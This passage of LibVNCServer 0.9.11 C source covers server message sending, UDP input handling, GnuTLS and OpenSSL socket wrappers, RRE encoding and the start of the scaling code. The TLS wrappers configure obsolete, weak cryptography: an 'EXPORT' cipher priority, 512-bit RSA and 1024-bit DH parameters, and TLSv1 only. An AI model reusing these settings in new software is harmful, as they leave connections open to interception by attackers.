rfbEncodingNewFBSize in response to a PalmVNC style framebuffer resize (%dx%d)\n", w, h); else rfbLog("Sending rfbEncodingNewFBSize for resize to (%dx%d)\n", w, h); rect.encoding = Swap32IfLE(rfbEncodingNewFBSize); rect.r.x = 0; rect.r.y = 0; rect.r.w = Swap16IfLE(w); rect.r.h = Swap16IfLE(h); memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; rfbStatRecordEncodingSent(cl, rfbEncodingNewFBSize, sz_rfbFramebufferUpdateRectHeader, sz_rfbFramebufferUpdateRectHeader); return TRUE; } /* * Send the contents of cl->updateBuf. Returns 1 if successful, -1 if * not (errno should be set). */ rfbBool rfbSendUpdateBuf(rfbClientPtr cl) { if(cl->sock<0) return FALSE; if (rfbWriteExact(cl, cl->updateBuf, cl->ublen) < 0) { rfbLogPerror("rfbSendUpdateBuf: write"); rfbCloseClient(cl); return FALSE; } cl->ublen = 0; return TRUE; } /* * rfbSendSetColourMapEntries sends a SetColourMapEntries message to the * client, using values from the currently installed colormap. */ rfbBool rfbSendSetColourMapEntries(rfbClientPtr cl, int firstColour, int nColours) { char buf[sz_rfbSetColourMapEntriesMsg + 256 * 3 * 2]; char *wbuf = buf; rfbSetColourMapEntriesMsg *scme; uint16_t *rgb; rfbColourMap* cm = &cl->screen->colourMap; int i, len; if (nColours > 256) { /* some rare hardware has, e.g., 4096 colors cells: PseudoColor:12 */ wbuf = (char *) malloc(sz_rfbSetColourMapEntriesMsg + nColours * 3 * 2); } scme = (rfbSetColourMapEntriesMsg *)wbuf; rgb = (uint16_t *)(&wbuf[sz_rfbSetColourMapEntriesMsg]); scme->type = rfbSetColourMapEntries; scme->firstColour = Swap16IfLE(firstColour); scme->nColours = Swap16IfLE(nColours); len = sz_rfbSetColourMapEntriesMsg; for (i = 0; i < nColours; i++) { if(i<(int)cm->count) { if(cm->is16) { rgb[i*3] = Swap16IfLE(cm->data.shorts[i*3]); rgb[i*3+1] = Swap16IfLE(cm->data.shorts[i*3+1]); rgb[i*3+2] = Swap16IfLE(cm->data.shorts[i*3+2]); } else { rgb[i*3] = Swap16IfLE((unsigned short)cm->data.bytes[i*3]); rgb[i*3+1] = Swap16IfLE((unsigned short)cm->data.bytes[i*3+1]); rgb[i*3+2] = Swap16IfLE((unsigned short)cm->data.bytes[i*3+2]); } } } len += nColours * 3 * 2; LOCK(cl->sendMutex); if (rfbWriteExact(cl, wbuf, len) < 0) { rfbLogPerror("rfbSendSetColourMapEntries: write"); rfbCloseClient(cl); if (wbuf != buf) free(wbuf); UNLOCK(cl->sendMutex); return FALSE; } UNLOCK(cl->sendMutex); rfbStatRecordMessageSent(cl, rfbSetColourMapEntries, len, len); if (wbuf != buf) free(wbuf); return TRUE; } /* * rfbSendBell sends a Bell message to all the clients. */ void rfbSendBell(rfbScreenInfoPtr rfbScreen) { rfbClientIteratorPtr i; rfbClientPtr cl; rfbBellMsg b; i = rfbGetClientIterator(rfbScreen); while((cl=rfbClientIteratorNext(i))) { b.type = rfbBell; LOCK(cl->sendMutex); if (rfbWriteExact(cl, (char *)&b, sz_rfbBellMsg) < 0) { rfbLogPerror("rfbSendBell: write"); rfbCloseClient(cl); } UNLOCK(cl->sendMutex); } rfbStatRecordMessageSent(cl, rfbBell, sz_rfbBellMsg, sz_rfbBellMsg); rfbReleaseClientIterator(i); } /* * rfbSendServerCutText sends a ServerCutText message to all the clients. */ void rfbSendServerCutText(rfbScreenInfoPtr rfbScreen,char *str, int len) { rfbClientPtr cl; rfbServerCutTextMsg sct; rfbClientIteratorPtr iterator; iterator = rfbGetClientIterator(rfbScreen); while ((cl = rfbClientIteratorNext(iterator)) != NULL) { sct.type = rfbServerCutText; sct.length = Swap32IfLE(len); LOCK(cl->sendMutex); if (rfbWriteExact(cl, (char *)&sct, sz_rfbServerCutTextMsg) < 0) { rfbLogPerror("rfbSendServerCutText: write"); rfbCloseClient(cl); UNLOCK(cl->sendMutex); continue; } if (rfbWriteExact(cl, str, len) < 0) { rfbLogPerror("rfbSendServerCutText: write"); rfbCloseClient(cl); } UNLOCK(cl->sendMutex); rfbStatRecordMessageSent(cl, rfbServerCutText, sz_rfbServerCutTextMsg+len, sz_rfbServerCutTextMsg+len); } rfbReleaseClientIterator(iterator); } /***************************************************************************** * * UDP can be used for keyboard and pointer events when the underlying * network is highly reliable. This is really here to support ORL's * videotile, whose TCP implementation doesn't like sending lots of small * packets (such as 100s of pen readings per second!). */ static unsigned char ptrAcceleration = 50; void rfbNewUDPConnection(rfbScreenInfoPtr rfbScreen, int sock) { if (write(sock, (char*) &ptrAcceleration, 1) < 0) { rfbLogPerror("rfbNewUDPConnection: write"); } } /* * Because UDP is a message based service, we can't read the first byte and * then the rest of the packet separately like we do with TCP. We will always * get a whole packet delivered in one go, so we ask read() for the maximum * number of bytes we can possibly get. */ void rfbProcessUDPInput(rfbScreenInfoPtr rfbScreen) { int n; rfbClientPtr cl=rfbScreen->udpClient; rfbClientToServerMsg msg; if((!cl) || cl->onHold) return; if ((n = read(rfbScreen->udpSock, (char *)&msg, sizeof(msg))) <= 0) { if (n < 0) { rfbLogPerror("rfbProcessUDPInput: read"); } rfbDisconnectUDPSock(rfbScreen); return; } switch (msg.type) { case rfbKeyEvent: if (n != sz_rfbKeyEventMsg) { rfbErr("rfbProcessUDPInput: key event incorrect length\n"); rfbDisconnectUDPSock(rfbScreen); return; } cl->screen->kbdAddEvent(msg.ke.down, (rfbKeySym)Swap32IfLE(msg.ke.key), cl); break; case rfbPointerEvent: if (n != sz_rfbPointerEventMsg) { rfbErr("rfbProcessUDPInput: ptr event incorrect length\n"); rfbDisconnectUDPSock(rfbScreen); return; } cl->screen->ptrAddEvent(msg.pe.buttonMask, Swap16IfLE(msg.pe.x), Swap16IfLE(msg.pe.y), cl); break; default: rfbErr("rfbProcessUDPInput: unknown message type %d\n", msg.type); rfbDisconnectUDPSock(rfbScreen); } } libvncserver-LibVNCServer-0.9.11/libvncserver/rfbssl.h000066400000000000000000000006231303145525000227170ustar00rootroot00000000000000#ifndef _VNCSSL_H #define _VNCSSL_H 1 #include "rfb/rfb.h" #include "rfb/rfbconfig.h" int rfbssl_init(rfbClientPtr cl); int rfbssl_pending(rfbClientPtr cl); int rfbssl_peek(rfbClientPtr cl, char *buf, int bufsize); int rfbssl_read(rfbClientPtr cl, char *buf, int bufsize); int rfbssl_write(rfbClientPtr cl, const char *buf, int bufsize); void rfbssl_destroy(rfbClientPtr cl); #endif /* _VNCSSL_H */ libvncserver-LibVNCServer-0.9.11/libvncserver/rfbssl_gnutls.c000066400000000000000000000160741303145525000243150ustar00rootroot00000000000000/* * rfbssl_gnutls.c - Secure socket funtions (gnutls version) */ /* * Copyright (C) 2011 Gernot Tenchio * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #include "rfbssl.h" #include #include struct rfbssl_ctx { char peekbuf[2048]; int peeklen; int peekstart; gnutls_session_t session; gnutls_certificate_credentials_t x509_cred; gnutls_dh_params_t dh_params; #ifdef I_LIKE_RSA_PARAMS_THAT_MUCH gnutls_rsa_params_t rsa_params; #endif }; void rfbssl_log_func(int level, const char *msg) { rfbErr("SSL: %s", msg); } static void rfbssl_error(const char *msg, int e) { rfbErr("%s: %s (%ld)\n", msg, gnutls_strerror(e), e); } static int rfbssl_init_session(struct rfbssl_ctx *ctx, int fd) { gnutls_session_t session; int ret; if (!GNUTLS_E_SUCCESS == (ret = gnutls_init(&session, GNUTLS_SERVER))) { /* */ } else if (!GNUTLS_E_SUCCESS == (ret = gnutls_priority_set_direct(session, "EXPORT", NULL))) { /* */ } else if (!GNUTLS_E_SUCCESS == (ret = gnutls_credentials_set(session, GNUTLS_CRD_CERTIFICATE, ctx->x509_cred))) { /* */ } else { gnutls_session_enable_compatibility_mode(session); gnutls_transport_set_ptr(session, (gnutls_transport_ptr_t)(uintptr_t)fd); ctx->session = session; } return ret; } static int generate_dh_params(struct rfbssl_ctx *ctx) { int ret; if (GNUTLS_E_SUCCESS == (ret = gnutls_dh_params_init(&ctx->dh_params))) ret = gnutls_dh_params_generate2(ctx->dh_params, 1024); return ret; } #ifdef I_LIKE_RSA_PARAMS_THAT_MUCH static int generate_rsa_params(struct rfbssl_ctx *ctx) { int ret; if (GNUTLS_E_SUCCESS == (ret = gnutls_rsa_params_init(&ctx->rsa_params))) ret = gnutls_rsa_params_generate2(ctx->rsa_params, 512); return ret; } #endif struct rfbssl_ctx *rfbssl_init_global(char *key, char *cert) { int ret = GNUTLS_E_SUCCESS; struct rfbssl_ctx *ctx = NULL; if (NULL == (ctx = malloc(sizeof(struct rfbssl_ctx)))) { ret = GNUTLS_E_MEMORY_ERROR; } else if (!GNUTLS_E_SUCCESS == (ret = gnutls_global_init())) { /* */ } else if (!GNUTLS_E_SUCCESS == (ret = gnutls_certificate_allocate_credentials(&ctx->x509_cred))) { /* */ } else if ((ret = gnutls_certificate_set_x509_trust_file(ctx->x509_cred, cert, GNUTLS_X509_FMT_PEM)) < 0) { /* */ } else if (!GNUTLS_E_SUCCESS == (ret = gnutls_certificate_set_x509_key_file(ctx->x509_cred, cert, key, GNUTLS_X509_FMT_PEM))) { /* */ } else if (!GNUTLS_E_SUCCESS == (ret = generate_dh_params(ctx))) { /* */ #ifdef I_LIKE_RSA_PARAMS_THAT_MUCH } else if (!GNUTLS_E_SUCCESS == (ret = generate_rsa_params(ctx))) { /* */ #endif } else { gnutls_global_set_log_function(rfbssl_log_func); gnutls_global_set_log_level(1); gnutls_certificate_set_dh_params(ctx->x509_cred, ctx->dh_params); /* newly allocated memory should be initialized, at least where it is important */ ctx->peekstart = ctx->peeklen = 0; return ctx; } free(ctx); return NULL; } int rfbssl_init(rfbClientPtr cl) { int ret = -1; struct rfbssl_ctx *ctx; char *keyfile; if (!(keyfile = cl->screen->sslkeyfile)) keyfile = cl->screen->sslcertfile; if (NULL == (ctx = rfbssl_init_global(keyfile, cl->screen->sslcertfile))) { /* */ } else if (GNUTLS_E_SUCCESS != (ret = rfbssl_init_session(ctx, cl->sock))) { /* */ } else { while (GNUTLS_E_SUCCESS != (ret = gnutls_handshake(ctx->session))) { if (ret == GNUTLS_E_AGAIN) continue; break; } } if (ret != GNUTLS_E_SUCCESS) { rfbssl_error(__func__, ret); } else { cl->sslctx = (rfbSslCtx *)ctx; rfbLog("%s protocol initialized\n", gnutls_protocol_get_name(gnutls_protocol_get_version(ctx->session))); } return ret; } static int rfbssl_do_read(rfbClientPtr cl, char *buf, int bufsize) { struct rfbssl_ctx *ctx = (struct rfbssl_ctx *)cl->sslctx; int ret; while ((ret = gnutls_record_recv(ctx->session, buf, bufsize)) < 0) { if (ret == GNUTLS_E_AGAIN) { /* continue */ } else if (ret == GNUTLS_E_INTERRUPTED) { /* continue */ } else { break; } } if (ret < 0) { rfbssl_error(__func__, ret); errno = EIO; ret = -1; } return ret < 0 ? -1 : ret; } int rfbssl_write(rfbClientPtr cl, const char *buf, int bufsize) { struct rfbssl_ctx *ctx = (struct rfbssl_ctx *)cl->sslctx; int ret; while ((ret = gnutls_record_send(ctx->session, buf, bufsize)) < 0) { if (ret == GNUTLS_E_AGAIN) { /* continue */ } else if (ret == GNUTLS_E_INTERRUPTED) { /* continue */ } else { break; } } if (ret < 0) rfbssl_error(__func__, ret); return ret; } static void rfbssl_gc_peekbuf(struct rfbssl_ctx *ctx, int bufsize) { if (ctx->peekstart) { int spaceleft = sizeof(ctx->peekbuf) - ctx->peeklen - ctx->peekstart; if (spaceleft < bufsize) { memmove(ctx->peekbuf, ctx->peekbuf + ctx->peekstart, ctx->peeklen); ctx->peekstart = 0; } } } static int __rfbssl_read(rfbClientPtr cl, char *buf, int bufsize, int peek) { int ret = 0; struct rfbssl_ctx *ctx = (struct rfbssl_ctx *)cl->sslctx; rfbssl_gc_peekbuf(ctx, bufsize); if (ctx->peeklen) { /* If we have any peek data, simply return that. */ ret = bufsize < ctx->peeklen ? bufsize : ctx->peeklen; memcpy (buf, ctx->peekbuf + ctx->peekstart, ret); if (!peek) { ctx->peeklen -= ret; if (ctx->peeklen != 0) ctx->peekstart += ret; else ctx->peekstart = 0; } } if (ret < bufsize) { int n; /* read the remaining data */ if ((n = rfbssl_do_read(cl, buf + ret, bufsize - ret)) <= 0) { rfbErr("rfbssl_%s: %s error\n", __func__, peek ? "peek" : "read"); return n; } if (peek) { memcpy(ctx->peekbuf + ctx->peekstart + ctx->peeklen, buf + ret, n); ctx->peeklen += n; } ret += n; } return ret; } int rfbssl_read(rfbClientPtr cl, char *buf, int bufsize) { return __rfbssl_read(cl, buf, bufsize, 0); } int rfbssl_peek(rfbClientPtr cl, char *buf, int bufsize) { return __rfbssl_read(cl, buf, bufsize, 1); } int rfbssl_pending(rfbClientPtr cl) { struct rfbssl_ctx *ctx = (struct rfbssl_ctx *)cl->sslctx; int ret = ctx->peeklen; if (ret <= 0) ret = gnutls_record_check_pending(ctx->session); return ret; } void rfbssl_destroy(rfbClientPtr cl) { struct rfbssl_ctx *ctx = (struct rfbssl_ctx *)cl->sslctx; gnutls_bye(ctx->session, GNUTLS_SHUT_WR); gnutls_deinit(ctx->session); gnutls_certificate_free_credentials(ctx->x509_cred); } libvncserver-LibVNCServer-0.9.11/libvncserver/rfbssl_none.c000066400000000000000000000024771303145525000237420ustar00rootroot00000000000000/* * rfbssl_none.c - Secure socket functions (fallback to failing) */ /* * Copyright (C) 2011 Johannes Schindelin * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #include "rfbssl.h" struct rfbssl_ctx *rfbssl_init_global(char *key, char *cert) { return NULL; } int rfbssl_init(rfbClientPtr cl) { return -1; } int rfbssl_write(rfbClientPtr cl, const char *buf, int bufsize) { return -1; } int rfbssl_peek(rfbClientPtr cl, char *buf, int bufsize) { return -1; } int rfbssl_read(rfbClientPtr cl, char *buf, int bufsize) { return -1; } int rfbssl_pending(rfbClientPtr cl) { return -1; } void rfbssl_destroy(rfbClientPtr cl) { } libvncserver-LibVNCServer-0.9.11/libvncserver/rfbssl_openssl.c000066400000000000000000000073231303145525000244610ustar00rootroot00000000000000/* * rfbssl_openssl.c - Secure socket funtions (openssl version) */ /* * Copyright (C) 2011 Gernot Tenchio * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #include "rfbssl.h" #include #include struct rfbssl_ctx { SSL_CTX *ssl_ctx; SSL *ssl; }; static void rfbssl_error(void) { char buf[1024]; unsigned long e = ERR_get_error(); rfbErr("%s (%ld)\n", ERR_error_string(e, buf), e); } int rfbssl_init(rfbClientPtr cl) { char *keyfile; int r, ret = -1; struct rfbssl_ctx *ctx; SSL_library_init(); SSL_load_error_strings(); if (cl->screen->sslkeyfile && *cl->screen->sslkeyfile) { keyfile = cl->screen->sslkeyfile; } else { keyfile = cl->screen->sslcertfile; } if (NULL == (ctx = malloc(sizeof(struct rfbssl_ctx)))) { rfbErr("OOM\n"); } else if (!cl->screen->sslcertfile || !cl->screen->sslcertfile[0]) { rfbErr("SSL connection but no cert specified\n"); } else if (NULL == (ctx->ssl_ctx = SSL_CTX_new(TLSv1_server_method()))) { rfbssl_error(); } else if (SSL_CTX_use_PrivateKey_file(ctx->ssl_ctx, keyfile, SSL_FILETYPE_PEM) <= 0) { rfbErr("Unable to load private key file %s\n", keyfile); } else if (SSL_CTX_use_certificate_file(ctx->ssl_ctx, cl->screen->sslcertfile, SSL_FILETYPE_PEM) <= 0) { rfbErr("Unable to load certificate file %s\n", cl->screen->sslcertfile); } else if (NULL == (ctx->ssl = SSL_new(ctx->ssl_ctx))) { rfbErr("SSL_new failed\n"); rfbssl_error(); } else if (!(SSL_set_fd(ctx->ssl, cl->sock))) { rfbErr("SSL_set_fd failed\n"); rfbssl_error(); } else { while ((r = SSL_accept(ctx->ssl)) < 0) { if (SSL_get_error(ctx->ssl, r) != SSL_ERROR_WANT_READ) break; } if (r < 0) { rfbErr("SSL_accept failed %d\n", SSL_get_error(ctx->ssl, r)); } else { cl->sslctx = (rfbSslCtx *)ctx; ret = 0; } } return ret; } int rfbssl_write(rfbClientPtr cl, const char *buf, int bufsize) { int ret; struct rfbssl_ctx *ctx = (struct rfbssl_ctx *)cl->sslctx; while ((ret = SSL_write(ctx->ssl, buf, bufsize)) <= 0) { if (SSL_get_error(ctx->ssl, ret) != SSL_ERROR_WANT_WRITE) break; } return ret; } int rfbssl_peek(rfbClientPtr cl, char *buf, int bufsize) { int ret; struct rfbssl_ctx *ctx = (struct rfbssl_ctx *)cl->sslctx; while ((ret = SSL_peek(ctx->ssl, buf, bufsize)) <= 0) { if (SSL_get_error(ctx->ssl, ret) != SSL_ERROR_WANT_READ) break; } return ret; } int rfbssl_read(rfbClientPtr cl, char *buf, int bufsize) { int ret; struct rfbssl_ctx *ctx = (struct rfbssl_ctx *)cl->sslctx; while ((ret = SSL_read(ctx->ssl, buf, bufsize)) <= 0) { if (SSL_get_error(ctx->ssl, ret) != SSL_ERROR_WANT_READ) break; } return ret; } int rfbssl_pending(rfbClientPtr cl) { struct rfbssl_ctx *ctx = (struct rfbssl_ctx *)cl->sslctx; return SSL_pending(ctx->ssl); } void rfbssl_destroy(rfbClientPtr cl) { struct rfbssl_ctx *ctx = (struct rfbssl_ctx *)cl->sslctx; if (ctx->ssl) SSL_free(ctx->ssl); if (ctx->ssl_ctx) SSL_CTX_free(ctx->ssl_ctx); } libvncserver-LibVNCServer-0.9.11/libvncserver/rre.c000066400000000000000000000325231303145525000222130ustar00rootroot00000000000000/* * rre.c * * Routines to implement Rise-and-Run-length Encoding (RRE). This * code is based on krw's original javatel rfbserver. */ /* * OSXvnc Copyright (C) 2001 Dan McGuirk . * Original Xvnc code Copyright (C) 1999 AT&T Laboratories Cambridge. * All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #include /* * cl->beforeEncBuf contains pixel data in the client's format. * cl->afterEncBuf contains the RRE encoded version. If the RRE encoded version is * larger than the raw data or if it exceeds cl->afterEncBufSize then * raw encoding is used instead. */ static int subrectEncode8(rfbClientPtr cl, uint8_t *data, int w, int h); static int subrectEncode16(rfbClientPtr cl, uint16_t *data, int w, int h); static int subrectEncode32(rfbClientPtr cl, uint32_t *data, int w, int h); static uint32_t getBgColour(char *data, int size, int bpp); /* * rfbSendRectEncodingRRE - send a given rectangle using RRE encoding. */ rfbBool rfbSendRectEncodingRRE(rfbClientPtr cl, int x, int y, int w, int h) { rfbFramebufferUpdateRectHeader rect; rfbRREHeader hdr; int nSubrects; int i; char *fbptr = (cl->scaledScreen->frameBuffer + (cl->scaledScreen->paddedWidthInBytes * y) + (x * (cl->scaledScreen->bitsPerPixel / 8))); int maxRawSize = (cl->scaledScreen->width * cl->scaledScreen->height * (cl->format.bitsPerPixel / 8)); if (cl->beforeEncBufSize < maxRawSize) { cl->beforeEncBufSize = maxRawSize; if (cl->beforeEncBuf == NULL) cl->beforeEncBuf = (char *)malloc(cl->beforeEncBufSize); else cl->beforeEncBuf = (char *)realloc(cl->beforeEncBuf, cl->beforeEncBufSize); } if (cl->afterEncBufSize < maxRawSize) { cl->afterEncBufSize = maxRawSize; if (cl->afterEncBuf == NULL) cl->afterEncBuf = (char *)malloc(cl->afterEncBufSize); else cl->afterEncBuf = (char *)realloc(cl->afterEncBuf, cl->afterEncBufSize); } (*cl->translateFn)(cl->translateLookupTable, &(cl->screen->serverFormat), &cl->format, fbptr, cl->beforeEncBuf, cl->scaledScreen->paddedWidthInBytes, w, h); switch (cl->format.bitsPerPixel) { case 8: nSubrects = subrectEncode8(cl, (uint8_t *)cl->beforeEncBuf, w, h); break; case 16: nSubrects = subrectEncode16(cl, (uint16_t *)cl->beforeEncBuf, w, h); break; case 32: nSubrects = subrectEncode32(cl, (uint32_t *)cl->beforeEncBuf, w, h); break; default: rfbLog("getBgColour: bpp %d?\n",cl->format.bitsPerPixel); return FALSE; } if (nSubrects < 0) { /* RRE encoding was too large, use raw */ return rfbSendRectEncodingRaw(cl, x, y, w, h); } rfbStatRecordEncodingSent(cl, rfbEncodingRRE, sz_rfbFramebufferUpdateRectHeader + sz_rfbRREHeader + cl->afterEncBufLen, sz_rfbFramebufferUpdateRectHeader + w * h * (cl->format.bitsPerPixel / 8)); if (cl->ublen + sz_rfbFramebufferUpdateRectHeader + sz_rfbRREHeader > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.r.x = Swap16IfLE(x); rect.r.y = Swap16IfLE(y); rect.r.w = Swap16IfLE(w); rect.r.h = Swap16IfLE(h); rect.encoding = Swap32IfLE(rfbEncodingRRE); memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; hdr.nSubrects = Swap32IfLE(nSubrects); memcpy(&cl->updateBuf[cl->ublen], (char *)&hdr, sz_rfbRREHeader); cl->ublen += sz_rfbRREHeader; for (i = 0; i < cl->afterEncBufLen;) { int bytesToCopy = UPDATE_BUF_SIZE - cl->ublen; if (i + bytesToCopy > cl->afterEncBufLen) { bytesToCopy = cl->afterEncBufLen - i; } memcpy(&cl->updateBuf[cl->ublen], &cl->afterEncBuf[i], bytesToCopy); cl->ublen += bytesToCopy; i += bytesToCopy; if (cl->ublen == UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } } return TRUE; } /* * subrectEncode() encodes the given multicoloured rectangle as a background * colour overwritten by single-coloured rectangles. It returns the number * of subrectangles in the encoded buffer, or -1 if subrect encoding won't * fit in the buffer. It puts the encoded rectangles in cl->afterEncBuf. The * single-colour rectangle partition is not optimal, but does find the biggest * horizontal or vertical rectangle top-left anchored to each consecutive * coordinate position. * * The coding scheme is simply [...] where each * is []. */ #define DEFINE_SUBRECT_ENCODE(bpp) \ static int \ subrectEncode##bpp(rfbClientPtr client, uint##bpp##_t *data, int w, int h) { \ uint##bpp##_t cl; \ rfbRectangle subrect; \ int x,y; \ int i,j; \ int hx=0,hy,vx=0,vy; \ int hyflag; \ uint##bpp##_t *seg; \ uint##bpp##_t *line; \ int hw,hh,vw,vh; \ int thex,they,thew,theh; \ int numsubs = 0; \ int newLen; \ uint##bpp##_t bg = (uint##bpp##_t)getBgColour((char*)data,w*h,bpp); \ \ *((uint##bpp##_t*)client->afterEncBuf) = bg; \ \ client->afterEncBufLen = (bpp/8); \ \ for (y=0; y 0) && (i >= hx)) {hy += 1;} else {hyflag = 0;} \ } \ vy = j-1; \ \ /* We now have two possible subrects: (x,y,hx,hy) and (x,y,vx,vy) \ * We'll choose the bigger of the two. \ */ \ hw = hx-x+1; \ hh = hy-y+1; \ vw = vx-x+1; \ vh = vy-y+1; \ \ thex = x; \ they = y; \ \ if ((hw*hh) > (vw*vh)) { \ thew = hw; \ theh = hh; \ } else { \ thew = vw; \ theh = vh; \ } \ \ subrect.x = Swap16IfLE(thex); \ subrect.y = Swap16IfLE(they); \ subrect.w = Swap16IfLE(thew); \ subrect.h = Swap16IfLE(theh); \ \ newLen = client->afterEncBufLen + (bpp/8) + sz_rfbRectangle; \ if ((newLen > (w * h * (bpp/8))) || (newLen > client->afterEncBufSize)) \ return -1; \ \ numsubs += 1; \ *((uint##bpp##_t*)(client->afterEncBuf + client->afterEncBufLen)) = cl; \ client->afterEncBufLen += (bpp/8); \ memcpy(&client->afterEncBuf[client->afterEncBufLen],&subrect,sz_rfbRectangle); \ client->afterEncBufLen += sz_rfbRectangle; \ \ /* \ * Now mark the subrect as done. \ */ \ for (j=they; j < (they+theh); j++) { \ for (i=thex; i < (thex+thew); i++) { \ data[j*w+i] = bg; \ } \ } \ } \ } \ } \ \ return numsubs; \ } DEFINE_SUBRECT_ENCODE(8) DEFINE_SUBRECT_ENCODE(16) DEFINE_SUBRECT_ENCODE(32) /* * getBgColour() gets the most prevalent colour in a byte array. */ static uint32_t getBgColour(char *data, int size, int bpp) { #define NUMCLRS 256 static int counts[NUMCLRS]; int i,j,k; int maxcount = 0; uint8_t maxclr = 0; if (bpp != 8) { if (bpp == 16) { return ((uint16_t *)data)[0]; } else if (bpp == 32) { return ((uint32_t *)data)[0]; } else { rfbLog("getBgColour: bpp %d?\n",bpp); return 0; } } for (i=0; i= NUMCLRS) { rfbErr("getBgColour: unusual colour = %d\n", k); return 0; } counts[k] += 1; if (counts[k] > maxcount) { maxcount = counts[k]; maxclr = ((uint8_t *)data)[j]; } } return maxclr; } libvncserver-LibVNCServer-0.9.11/libvncserver/scale.c000066400000000000000000000352031303145525000225100ustar00rootroot00000000000000/* * scale.c - deal with server-side scaling. */ /* * Copyright (C) 2005 Rohit Kumar, Johannes E. Schindelin * Copyright (C) 2002 RealVNC Ltd. * OSXvnc Copyright (C) 2001 Dan McGuirk . * Original Xvnc code Copyright (C) 1999 AT&T Laboratories Cambridge. * All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #ifdef __STRICT_ANSI__ #define _BSD_SOURCE #endif #include #include #include #include "private.h" #ifdef LIBVNCSERVER_HAVE_FCNTL_H #include #endif #ifdef WIN32 #define write(sock,buf,len) send(sock,buf,len,0) #else #ifdef LIBVNCSERVER_HAVE_UNISTD_H #include #endif #include #ifdef LIBVNCSERVER_HAVE_SYS_SOCKET_H #include #endif #ifdef LIBVNCSERVER_HAVE_NETINET_IN_H #include #include #include #endif #endif #ifdef DEBUGPROTO #undef DEBUGPROTO #define DEBUGPROTO(x) x #else #define DEBUGPROTO(x) #endif /****************************/ #define CEIL(x) ( (double) ((int) (x)) == (x) ? \ (double) ((int) (x)) : (double) ((int) (x) + 1) ) #define FLOOR(x) ( (double) ((int) (x)) ) static inline int pad4(int value) { int remainder = value & 3; if (!remainder) return value; return value + 4 - remainder; } int ScaleX(rfbScreenInfoPtr from, rfbScreenInfoPtr to, int x) { if ((from==to) || (from==NULL) || (to==NULL)) return x; return ((int)(((double) x / (double)from->width) * (double)to->width )); } int ScaleY(rfbScreenInfoPtr from, rfbScreenInfoPtr to, int y) { if ((from==to) || (from==NULL) || (to==NULL)) return y; return ((int)(((double) y / (double)from->height) * (double)to->height )); } /* So, all of the encodings point to the ->screen->frameBuffer, * We need to change this! */ void rfbScaledCorrection(rfbScreenInfoPtr from, rfbScreenInfoPtr to, int *x, int *y, int *w, int *h, const char *function) { double x1,y1,w1,h1, x2, y2, w2, h2; double scaleW = ((double) to->width) / ((double) from->width); double scaleH = ((double) to->height) / ((double) from->height); /* * rfbLog("rfbScaledCorrection(%p -> %p, %dx%d->%dx%d (%dXx%dY-%dWx%dH)\n", * from, to, from->width, from->height, to->width, to->height, *x, *y, *w, *h); */ /* If it's the original framebuffer... */ if (from==to) return; x1 = ((double) *x) * scaleW; y1 = ((double) *y) * scaleH; w1 = ((double) *w) * scaleW; h1 = ((double) *h) * scaleH; /*cast from double to int is same as "*x = floor(x1);" */ x2 = FLOOR(x1); y2 = FLOOR(y1); /* include into W and H the jitter of scaling X and Y */ w2 = CEIL(w1 + ( x1 - x2 )); h2 = CEIL(h1 + ( y1 - y2 )); /* * rfbLog("%s (%dXx%dY-%dWx%dH -> %fXx%fY-%fWx%fH) {%dWx%dH -> %dWx%dH}\n", * function, *x, *y, *w, *h, x2, y2, w2, h2, * from->width, from->height, to->width, to->height); */ /* simulate ceil() without math library */ *x = (int)x2; *y = (int)y2; *w = (int)w2; *h = (int)h2; /* Small changes for a thumbnail may be scaled to zero */ if (*w==0) (*w)++; if (*h==0) (*h)++; /* scaling from small to big may overstep the size a bit */ if (*x+*w > to->width) *w=to->width - *x; if (*y+*h > to->height) *h=to->height - *y; } void 